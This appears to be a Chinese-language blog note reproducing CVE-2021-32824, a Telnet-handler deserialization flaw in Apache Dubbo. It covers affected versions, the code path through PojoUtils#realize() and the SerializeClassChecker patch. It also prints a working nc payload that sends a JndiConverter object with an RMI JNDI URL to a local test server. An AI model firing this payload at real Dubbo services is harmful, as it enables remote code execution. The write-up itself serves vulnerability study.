Skip to main content

CVE-2021-32824 Telnet Handler 反序列化 GHSL-2021-039

概述

影响版本

2.6.10、[2.7.0, 2.7.9]

复现分析

Dubbo 服务端口允许通过 Telnet 访问,可以通过 invoke 调用 Handler。

image-20240201113526655

org.apache.dubbo.qos.legacy.InvokeTelnetHandler 最终会调用到 org.apache.dubbo.common.utils.PojoUtils#realize() 方法,并且可以用来实例化任意类并调用其 setter 方法。

image-20240201114252305

所以 payload 如下:

echo "invoke org.example.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'rmi://127.0.0.1:1099/clbebc'})" | nc -i 1 127.0.0.1 12345

补丁

补丁在 PojoUtils#realize0() 中添加了 SerializeClassChecker 校验

image-20240201110554242

复现 CVE-2021-30179 时 raw.return 也是进入了该函数,所以同样是这个方式的补丁。

image-20240201110511816